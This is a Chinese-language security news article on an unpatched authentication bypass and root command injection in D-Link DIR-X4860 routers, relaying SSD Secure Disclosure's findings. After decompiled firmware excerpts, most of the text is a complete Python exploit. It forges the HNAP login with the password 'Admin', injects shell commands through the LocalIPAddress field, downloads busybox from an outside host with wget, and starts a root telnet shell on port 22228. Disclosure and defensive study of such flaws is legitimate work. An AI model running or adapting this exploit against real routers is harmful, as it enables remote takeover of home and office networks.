白帽故事 · 2024年5月16日

D-Link 路由器正遭受0day攻击,可被远程接管【附PoC】

概要

研究人员近期发布了针对 D-Link 路由器系列中的0day漏洞,攻击者可以利用该漏洞接管设备并以 root 权限执行命令。

根据 5 月 14 日发布的博客文章,SSD Secure Disclosure 的研究团队针对D-Link DIR-X4860路由器中HNAP登录请求处理相关的漏洞发布了相关PoC。

目前该漏洞影响运行 DIRX4860A1_FWV1.04B03 固件的D-Link DIR-x4860 设备。

SSD 团队在过去一个月内曾 3 次就该问题与 D-Link 联系,然而到目前为止仍未收到任何回复。

技术分析

漏洞缺陷存在于 HNAP 登录请求的处理中,该漏洞由于缺乏正确实施身份验证算法而造成,攻击者可以利用此漏洞提升权限并在路由器中执行代码。

HNAP 协议

  1. 发送登录请求并等待响应,请求的数据包格式如下:
Headers:
"Content-Type": "text/xml; charset=utf-8"
"SOAPAction": "http://purenetworks.com/HNAP1/Login"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <Login xmlns="http://purenetworks.com/HNAP1/">
      <Action>request</Action>
      <Username>Admin</Username>
      <LoginPassword/>
      <Captcha/>
    </Login>
  </soap:Body>
</soap:Envelope>

响应数据如下:

<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <LoginResponse xmlns="http://purenetworks.com/HNAP1/">
      <LoginResult>OK</LoginResult>
      <Challenge>........</Challenge>
      <Cookie>........</Cookie>
      <PublicKey>........</PublicKey>
    </LoginResponse>
  </soap:Body>
</soap:Envelope>

响应数据包返回Challenge,Cookie,PublicKey,Cookie 用作所有后续 HTTP 请求的 Cookie 标头。

Challenge和PublicKey用于加密密码并在HTTP头中生成HNAP_AUTH认证。

  1. 发送login登录并等待响应,请求的数据包格式如下:
Headers:
"Content-Type": "text/xml; charset=utf-8"
"SOAPAction": "http://purenetworks.com/HNAP1/Login"
"HNAP_AUTH": "........"
"Cookie": "uid=........"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <Login xmlns="http://purenetworks.com/HNAP1/">
      <Action>login</Action>
      <Username>Admin</Username>
      <LoginPassword>........</LoginPassword>
      <Captcha/>
    </Login>
  </soap:Body>
</soap:Envelope>

关键值的计算方式如下:

LoginPassword:
PrivateKey = get_hmac_KEY_md5(PublicKey + password,Challenge)
LoginPassword = get_hmac_KEY_md5(PrivateKey,Challenge)
uid :
uid = Cookie
HNAP_AUTH:
    SOAP_NAMESPACE2 = "http://purenetworks.com/HNAP1/"
    Action = "Login"
    SOAPAction = '"' + SOAP_NAMESPACE2 + Action + '"'
    Time = int(round(time.time() * 1000))
    Time = math.floor(Time) % 2000000000000
    HNAP_AUTH = get_hmac_KEY_md5(PrivateKey,Time + SOAPAction)

响应数据如下:

<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <LoginResponse xmlns="http://purenetworks.com/HNAP1/">
      <LoginResult>success</LoginResult>
    </LoginResponse>
  </soap:Body>
</soap:Envelope>

如果LoginResult值为success,表示认证成功,如果LoginResult的值为failed,表示认证失败。

漏洞存在于 /bin/prog.cgi 文件中,漏洞发生在处理登录请求的函数中。

int __fastcall sub_5394C(int a1, int a2, int a3, int a4)
{
  int v5; // r1
  char *v6; // r0
  const char *v7; // r5
  const char *v8; // r5
  int v10; // r0
  int v11; // r1
  int v12; // r2
  int v13; // r3

  sub_53074(a1, a2, a3, a4);
  if ( sub_51038(a1) )
  {
    v6 = GetHNAPParam(a1, "/Login/Action");
    v7 = v6;
    if ( v6 )
    {
      if ( !strncmp(v6, "request", 7u) )
      {
        handle_login_request(a1); // into here !!!
        return 1;
      }
      ******
}

int __fastcall handle_login_request(int a1)
{
  char *Username; // r11
  int v3; // r5
  int result; // r0
  const char *PrivateLogin; // [sp+Ch] [bp-84h]
  char s[64]; // [sp+10h] [bp-80h] BYREF
  char v7[64]; // [sp+50h] [bp-40h] BYREF
  char v8[64]; // [sp+90h] [bp+0h] BYREF
  char http_password[64]; // [sp+D0h] [bp+40h] BYREF
  char v10[128]; // [sp+110h] [bp+80h] BYREF

  memset(s, 0, sizeof(s));
  memset(v7, 0, sizeof(v7));
  memset(v8, 0, sizeof(v8));
  memset(http_password, 0, sizeof(http_password));
  memset(v10, 0, sizeof(v10));
  if ( sub_51FE4(a1) )
  {
    sub_5322C(a1, 5);
    result = 0;
  }
  else
  {
    GetHNAPParam(a1, "/Login/Action");
    Username = GetHNAPParam(a1, "/Login/Username");
    GetHNAPParam(a1, "/Login/LoginPassword");
    GetHNAPParam(a1, "/Login/Captcha");
    PrivateLogin = GetHNAPParam(a1, "/Login/PrivateLogin");
    sub_50F98(s, 20);
    sub_50F98(v7, 10);
    sub_50F98(v8, 20);
    if ( PrivateLogin && !strncmp(PrivateLogin, "Username", 8u) )
      strncpy(http_password, Username, 0x40u); // Authentication Bypass!!
    else
      get_http_password(http_password, 0x40u);
    sub_51284(s, http_password, v8, v10, 128);
    v3 = sub_51468(a1, v10, s, v7, v8);
    sub_51094(a1, v7);
    sub_5322C(a1, 0);
    result = v3;
  }
  return result;
}

handle_login_request函数中的正常逻辑是获取http_password,然后根据http_password生成PrivateKey。

但是,当请求中包含 PrivateLogin 参数,并且 PrivateLogin 参数的值为“Username”时,则 PrivateKey 根据 Username 参数的值生成。

用户名参数的已知值为“Admin”,这意味着当你执行登录请求时,你可以使用“Admin”作为密码来计算相关数据,而不需要知道真正的密码:

LoginPassword:
password = ”Admin"
PrivateKey = get_hmac_KEY_md5(PublicKey + password,Challenge)
LoginPassword = get_hmac_KEY_md5(PrivateKey,Challenge)
uid :
uid = Cookie
HNAP_AUTH:
    SOAP_NAMESPACE2 = "http://purenetworks.com/HNAP1/"
    Action = "Login"
    SOAPAction = '"' + SOAP_NAMESPACE2 + Action + '"'
    Time = int(round(time.time() * 1000))
    Time = math.floor(Time) % 2000000000000
    HNAP_AUTH = get_hmac_KEY_md5(PrivateKey,Time + SOAPAction)

直接绕过登录验证。

命令注入远程代码执行

漏洞存在于 prog.cgi 中,它处理对监听 TCP 端口 80 和 443 的 lighttpd 网络服务器发出的 HNAP 请求。

由于在使用用户提供的字符串执行系统调用之前,没有对其进行适当的验证,攻击者可利用此漏洞在 root 权限下执行命令。

漏洞位置位于 /bin/prog.cgi 的 SetVirtualServerSettings 函数:

void __fastcall SetVirtualServerSettings(int a1)
{
      ******
      log_log(7, "SetVirtualServerSettings", 599, "pProtocolNumber=%s\n", v19);
      snprintf(v20, 0x100u, "/SetVirtualServerSettings/VirtualServerList/VirtualServerInfo:%d/%s", v3, "LocalIPAddress");
      LocalIPAddress_v16 = GetHNAPParam(a1, v20);
      if ( !LocalIPAddress_v16 )
      {
        v5 = 604;
        goto LABEL_9;
      }
      log_log(7, "SetVirtualServerSettings", 606, "pLocalIPAddress=%s\n", LocalIPAddress_v16);
      snprintf(v20, 0x100u, "/SetVirtualServerSettings/VirtualServerList/VirtualServerInfo:%d/%s", v3, "ScheduleName");
      v8 = GetHNAPParam(a1, v20);
      if ( !v8 )
      {
        v5 = 611;
        goto LABEL_9;
      }
      if ( !strcmp(s1, "true")
        && !strcmp(v13, "9")
        && !strcmp(v7, "UDP")
        && FCGI_popen_v1(LocalIPAddress_v16, v13, v7, s, ++v14) == -1 ) // into here !!!
      {
        v5 = 620;
        goto LABEL_9;
      }
      ******
}

int __fastcall FCGI_popen_v1(const char *LocalIPAddress, int a2, int a3, char *a4, int a5)
{
  int v7; // r0
  int v8; // r6
  char v10[20]; // [sp+Ch] [bp-14h] BYREF
  char v11[64]; // [sp+20h] [bp+0h] BYREF
  char v12[68]; // [sp+60h] [bp+40h] BYREF

  memset(v11, 0, sizeof(v11));
  memset(v10, 0, 0x12u);
  memset(v12, 0, 0x40u);
  snprintf(v12, 0x40u, "arp | grep %s | awk '{printf $4}'", LocalIPAddress);
  v7 = FCGI_popen(v12, "r"); // rce !!!
  ******
}

LocalIPAddress参数可被攻击者控制,然后调用FCGI_popen函数即可造成命令注入。

PoC代码:

#!/usr/bin/env python
import hmac
import base64
import hashlib
from hashlib import sha256
import time
import math
import logging
import sys

import requests

from urllib3.exceptions import InsecureRequestWarning

# Suppress only the single warning from urllib3 needed.
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# You must initialize logging, otherwise you'll not see debug output.
logging.basicConfig()
logging.getLogger().setLevel(logging.DEBUG)
requests_log = logging.getLogger("requests.packages.urllib3")
requests_log.propagate = True

def get_sha256(value):
    """ get_sha256 """
    hsobj = hashlib.sha256()
    hsobj.update(value.encode("utf-8"))
    return hsobj.hexdigest().upper()

def get_key_hashlib_sha256(key, value):
    """get_key_hashlib_sha256"""
    hsobj = hashlib.sha256(key.encode("utf-8"))
    hsobj.update(value.encode("utf-8"))
    return hsobj.hexdigest().upper()

def get_hmac_hashlib_sha256(value):
    """get_hmac_hashlib_sha256"""
    message = value.encode("utf-8")
    return hmac.new(message, digestmod=hashlib.sha256).hexdigest().upper()

def get_hmac_key_hashlib_sha256(key, value):
    """get_hmac_key_hashlib_sha256"""
    message = value.encode("utf-8")
    return (
        hmac.new(key.encode("utf-8"), message, digestmod=hashlib.sha256)
        .hexdigest()
        .upper()
    )

def get_base64_hmac_sha256(key, value):
    """get_base64_hmac_sha256"""
    key = key.encode("utf-8")
    message = value.encode("utf-8")
    sign = base64.b64encode(hmac.new(key, message, digestmod=sha256).digest())
    base64sha256 = str(sign, "utf-8")
    return base64sha256

def get_md5(value):
    """get_md5"""
    hsobj = hashlib.md5()
    hsobj.update(value.encode("utf-8"))
    return hsobj.hexdigest().upper()

def get_key_md5(key, value):
    """get_key_md5"""
    hsobj = hashlib.md5(key.encode("utf-8"))
    hsobj.update(value.encode("utf-8"))
    return hsobj.hexdigest().upper()

def get_hmac_key_md5(key, value):
    """get_hmac_key_md5"""
    message = value.encode("utf-8")
    return (
        hmac.new(key.encode("utf-8"), message, digestmod=hashlib.md5)
        .hexdigest()
        .upper()
    )

def get_hmac_md5(value):
    """get_hmac_md5"""
    message = value.encode("utf-8")
    return hmac.new(message, digestmod=hashlib.md5).hexdigest().upper()

def send_http(ip, port, https, headers, data):
    """send_http"""
    if https is True:
        https = "s"
    else:
        https = ""

    res = requests.post(
        url=f"http{https}://{ip}:{port}/HNAP1/",
        data=data,
        headers=headers,
        timeout=1,
        verify=False,
    )

    res_text = res.text
    print(f"res_text\n===\n{res.text}\n===\n")

    challenge = ""
    if "<Challenge>" in res_text:
        usb_adv_cgi_id = res_text.split("<Challenge>")
        id_value = usb_adv_cgi_id[1].split("</Challenge>")
        challenge = id_value[0]
        print(f"[+] Challenge = {challenge}")

    cookie = ""
    if "<Cookie>" in res_text:
        usb_adv_cgi_id = res_text.split("<Cookie>")
        id_value = usb_adv_cgi_id[1].split("</Cookie>")
        cookie = id_value[0]
        print(f"[+] Cookie = {cookie}")

    public_key = ""
    if "<PublicKey>" in res_text:
        usb_adv_cgi_id = res_text.split("<PublicKey>")
        id_value = usb_adv_cgi_id[1].split("</PublicKey>")
        public_key = id_value[0]
        print(f"[+] PublicKey = {public_key}")

    if "<LoginResult>" in res_text:
        usb_adv_cgi_id = res_text.split("<LoginResult>")
        id_value = usb_adv_cgi_id[1].split("</LoginResult>")
        login_result = id_value[0]
        print(f"[+] LoginResult = {login_result}")

    return challenge, cookie, public_key, res_text

def login_request(ip, port, https):
    """login_result"""
    xml_post = """<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <Login xmlns="http://purenetworks.com/HNAP1/">
            <Action>request</Action>
            <Username>Admin</Username>
            <PrivateLogin>Username</PrivateLogin>
            <login_password></login_password>
            <Captcha></Captcha>
        </Login>
    </soap:Body>
</soap:Envelope>"""

    headers = {
        "Host": ip,
        "X-Requested-With": "XMLHttpRequest",
        "SOAPAction": '"http://purenetworks.com/HNAP1/Login"',
        "Content-Type": "text/xml; charset=UTF-8",
    }

    challenge, cookie, public_key, _ = send_http(ip, port, https, headers, xml_post)
    if challenge == b"":
        print("[-] get Challenge error")
        sys.exit(0)

    return challenge, cookie, public_key

def login_login(ip, port, https, login_password, hnap_auth, time_now, cookie):
    """login_login"""
    xml_post = f"""<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <Login xmlns="http://purenetworks.com/HNAP1/">
            <Action>login</Action>
            <Username>Admin</Username>
            <LoginPassword>{login_password}</LoginPassword>
            <Captcha></Captcha>
        </Login>
    </soap:Body>
</soap:Envelope>"""

    headers = {
        "Host": ip,
        "X-Requested-With": "XMLHttpRequest",
        "HNAP_AUTH": f"{hnap_auth} {time_now}",
        "SOAPAction": '"http://purenetworks.com/HNAP1/Login"',
        "Content-Type": "text/xml; charset=UTF-8",
        "Cookie": f"uid={cookie}",
    }

    send_http(ip, port, https, headers, xml_post)

def get_internet_conn_up_time(ip, port, https, hnap_auth, time_now, cookie):
    """get_internet_conn_up_time"""
    xml_post = """<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <GetInternetConnUpTime xmlns="http://purenetworks.com/HNAP1/" />
    </soap:Body>
</soap:Envelope>"""

    headers = {
        "Host": ip,
        "X-Requested-With": "XMLHttpRequest",
        "HNAP_AUTH": f"{hnap_auth} {time_now}",
        "SOAPAction": '"http://purenetworks.com/HNAP1/GetInternetConnUpTime"',
        "Content-Type": "text/xml; charset=UTF-8",
        "Cookie": f"uid={cookie}",
    }

    _, _, _, res_text = send_http(ip, port, https, headers, xml_post)

    return res_text

def set_virtual_server_settings(ip, port, https, hnap_auth, time_now, cookie, cmd):
    """set_virtual_server_settings"""
    xml_post = f"""<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <SetVirtualServerSettings xmlns="http://purenetworks.com/HNAP1/">
            <VirtualServerList>
                <VirtualServerInfo>
                    <Enabled>true</Enabled>
                    <VirtualServerDescription>false</VirtualServerDescription>
                    <ExternalPort>false</ExternalPort>
                    <InternalPort>9</InternalPort>
                    <ProtocolType>UDP</ProtocolType>
                    <ProtocolNumber>UDP</ProtocolNumber>
                    <LocalIPAddress>{cmd}</LocalIPAddress>
                    <ScheduleName>false</ScheduleName>
                </VirtualServerInfo>
                <VirtualServerInfo:0>
                    <Enabled>true</Enabled>
                    <VirtualServerDescription>false</VirtualServerDescription>
                    <ExternalPort>false</ExternalPort>
                    <InternalPort>9</InternalPort>
                    <ProtocolType>UDP</ProtocolType>
                    <ProtocolNumber>UDP</ProtocolNumber>
                    <LocalIPAddress>{cmd}</LocalIPAddress>
                    <ScheduleName>false</ScheduleName>
                </VirtualServerInfo:0>
                <VirtualServerInfo:1>
                    <Enabled>true</Enabled>
                    <VirtualServerDescription>false</VirtualServerDescription>
                    <ExternalPort>false</ExternalPort>
                    <InternalPort>9</InternalPort>
                    <ProtocolType>UDP</ProtocolType>
                    <ProtocolNumber>UDP</ProtocolNumber>
                    <LocalIPAddress>{cmd}</LocalIPAddress>
                    <ScheduleName>false</ScheduleName>
                </VirtualServerInfo:1>
            </VirtualServerList>
        </SetVirtualServerSettings>
    </soap:Body>
</soap:Envelope>"""

    headers = {
        "Host": ip,
        "X-Requested-With": "XMLHttpRequest",
        "HNAP_AUTH": f"{hnap_auth} {time_now}",
        "SOAPAction": '"http://purenetworks.com/HNAP1/SetVirtualServerSettings"',
        "Content-Type": "text/xml; charset=UTF-8",
        "Cookie": f"uid={cookie}",
    }

    send_http(ip, port, https, headers, xml_post)

def exploit():
    """ Exploit """
    target_ip = "192.168.4.1"
    target_port = 443
    target_https = True

    print("Login_request")
    challenge, cookie, public_key = login_request(target_ip, target_port, target_https)
    # print(f"{Challenge=}, {Cookie=}, {PublicKey=}")

    dummy_password = "Admin"

    private_key = get_hmac_key_md5(public_key + dummy_password, challenge)
    login_password = get_hmac_key_md5(private_key, challenge)
    print(f"[+] login_password : {login_password}")

    soap_namespace2 = "http://purenetworks.com/HNAP1/"
    action = "Login"
    soap_action = f'"{soap_namespace2}{action}"'
    print(f"[+] SOAPAction : {soap_action}")

    time_now = int(round(time.time() * 1000))
    time_now = math.floor(time_now) % 2000000000000
    time_now = "%d" % time_now
    print(f"[+] Time : {time_now}")

    hnap_auth = get_hmac_key_md5(private_key, time_now + soap_action)
    print(f"[+] HNAP_AUTH : {hnap_auth}")

    login_login(
        target_ip, target_port, target_https, login_password, hnap_auth, time_now, cookie
    )

    soap_namespace2 = "http://purenetworks.com/HNAP1/"
    action = "GetInternetConnUpTime"
    soap_action = f'"{soap_namespace2}{action}"'
    print(f"[+] SOAPAction : {soap_action}")

    time_now = int(round(time.time() * 1000))
    time_now = math.floor(time_now) % 2000000000000
    time_now = "%d" % time_now
    print(f"[+] Time : {time_now}")

    hnap_auth = get_hmac_key_md5(private_key, time_now + soap_action)
    print(f"[+] HNAP_AUTH : {hnap_auth}")

    print("Checking for the vulnerability")
    res_text = get_internet_conn_up_time(
        target_ip, target_port, target_https, hnap_auth, time_now, cookie
    )

    if "You need proper authorization to use this resource" in res_text:
        print("Target doesn't appear to be vulnerable")

    print("Running the RCE")
    action = "SetVirtualServerSettings"
    soap_action = f'"{soap_namespace2}{action}"'
    time_now = int(round(time.time() * 1000))
    time_now = math.floor(time_now) % 2000000000000
    time_now = "%d" % time_now
    hnap_auth = get_hmac_key_md5(private_key, time_now + soap_action)

    print(
        "Downloading busybox from 'http://192.168.0.100:8000/busybox' as "
        "the one on the device isn't good"
    )

    cmd = "1;wget http://192.168.0.100:8000/busybox -O /tmp/tel;AAAAAAAAAAA"
    set_virtual_server_settings(
        target_ip, target_port, target_https, hnap_auth, time_now, cookie, cmd
    )

    action = "SetVirtualServerSettings"
    soap_action = f'"{soap_namespace2}{action}"'
    time_now = int(round(time.time() * 1000))
    time_now = math.floor(time_now) % 2000000000000
    time_now = "%d" % time_now
    hnap_auth = get_hmac_key_md5(private_key, time_now + soap_action)

    print("Renaming busybox to /tmp/telnetd")
    cmd = "1;chmod +x /tmp/tel;mv /tmp/tel /tmp/telnetd;AAAAAAAAAAAAAAAAAAAA"
    set_virtual_server_settings(
        target_ip, target_port, target_https, hnap_auth, time_now, cookie, cmd
    )

    action = "SetVirtualServerSettings"
    soap_action = f'"{soap_namespace2}{action}"'
    time_now = int(round(time.time() * 1000))
    time_now = math.floor(time_now) % 2000000000000
    time_now = "%d" % time_now
    hnap_auth = get_hmac_key_md5(private_key, time_now + soap_action)

    print("Launching telnetd on port 22228")
    cmd = b"1;/tmp/telnetd -p 22228 -l sh;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    set_virtual_server_settings(
        target_ip, target_port, target_https, hnap_auth, time_now, cookie, cmd
    )

if __name__ == "__main__":
    exploit()